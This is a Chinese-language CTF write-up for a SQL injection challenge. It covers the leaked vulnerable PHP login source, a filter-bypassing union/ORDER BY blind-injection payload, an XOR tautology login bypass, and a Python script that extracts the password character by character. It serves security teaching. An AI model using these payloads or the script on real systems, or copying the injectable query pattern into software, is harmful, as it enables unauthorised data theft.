一道简单的SQL注入题,由蓝鲸安全平台提供

题目:后台好黑….什么都看不到啊……,答题地址:http://ctf.whaledu.com:10801/47g256f48gff/

目录

  1. 背景知识
    1. Union盲注
  2. 题目解析
  3. 总结

背景知识

Union盲注

当有时候网站对参数过滤的非常严格,例如以下规则:$filterlist = "/\(|\)|username|password|where|case|when|like|regexp|into|limit|=|for|;/";

大致总结如下:

  • 没有了括号,标志着没有办法用mysql里的函数
  • 没有了password,但是它却是字段名,所以sql语句中不能出现password这个列名。

  • 也就是说,当我们不能使用mysql的函数和对指定的列表进行查询怎么办?

利用自己是mysql数据库进行实验:

发现mysql的字符串排序操作是从前往后依次用ascii码对比的,所以我们可以利用这个特性注入。

  • 我们可以控制我们要查询的字段(例子中是第三列,所以根据第三列一一order by 3 ),让其从ascii码中可打印字符开始变化(48~127)然后不断去排序,当我们的猜测刚好比真正的数据大1时,我们的数据就会被排列到最上方,那么如果该语句接入的用户验证或者数据显示等地方,页面就会发生变化,我们以这个变化为临界点就能构造盲注了。

  • 注意的是数据库的系统和函数使用,当然可以在调试脚本时候发现。如果我们要从小到大的查询,那么desc的降序排列是必须的,但是如果网页过滤了desc可以使用吗?其实也可以,只需要更改查询顺序,从大到小就可以了(127,48),而且如果使用desc那么临界点的地方我们猜测的数据应该比数据库中的大一。如果是升序,那么临界点就刚好是真是数据。

题目解析

使用源码泄露工具dirsearch-master,扫描该网址是否存在源码泄露,指令如下:

1
python3 dirsearch.py -u http://ctf.whaledu.com:10801/47g256f48gff/ -e php

发现三个可疑的url,逐个查看发现,index.php~后缀的url存在源码泄露,找到备份文件,查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
$dbhost = "localhost";
$dbuser = "root";
$dbpass = "123456";
$db = "ctf";
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$db);
mysqli_set_charset($conn,"utf8");

/* sql

create table `admin` (
`id` int(10) not null primary key auto_increment,
`username` varchar(20) not null ,
`password` varchar(32) not null
);
*/
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";

$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}

?>

找到关键的说明,用户名的密码就是flag,所以应该需要注入。

我们看到php源码中函数filter过滤的很严格,这些字符都不能出现。

限制的比较坑的有如下两条:

  • 没有了括号,标志着没有办法用mysql里的函数
  • 没有了password,但是它却是字段名,所以sql语句中不能出现password这个列名。
  • 现在只能想办法利用union盲注测试
  • 根据sql语句我们构造如下(注意自己测试列数):
1
select * from admin where username='admin' union distinct select 1,2,0x38 order by 3 desc;
  • 我们可以控制后面的那个查询的第三个字段,让他从最小开始变化,当查询结果第一条返回的username字段是2的时候,就可以知道这个字符的ascii码减一就是跟数据库中的相等,所以就可以一位一位的猜出来password字段了。
  • 我们得先知道username是什么,所以需要一个不在过滤范围内的万能密钥。想到一个互斥运算符^(异或),那么任何空字符串与0异或都能得1,我们就能得到恒真式了。
  • 提交username='^0#&password=1,得到用户名为whaleadmin

接着使用爆破脚本就能够得到每个密码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
# coding:utf-8

import requests


def makeStr(begin, end):
str = ""
for i in range(begin, end):
str += chr(i)
return str


def getPassword():
url = "http://ctf.whaledu.com:10801/47g256f48gff/index.php"
testStr = makeStr(48, 127)
username = "whaleadmin' union distinct select 1,2,0x{hex} order by 3 desc#"
flag = ""
for _ in range(32):
for i in testStr:
data = {"username": username.format(hex=(flag + i).encode('hex')), "password": '1'}
res = requests.post(url, data)
if "whaleadmin" not in res.text:
flag = flag + chr(ord(i) - 1)
print flag
break
else:
print "[*]", i


if __name__ == '__main__':
getPassword()

最终cmd5查询密码或者md5本地爆破都能知道密码:

总结

要想完全理解本题,需要大家先了解SQL注入相关原理,并且自己通过搭建mysql数据库,进行实际测试,在网站过滤了大部分的参数后,union联合注入是CTF比赛中常见的类型,SQL注入攻击的核心之一就是找到可控的临界点。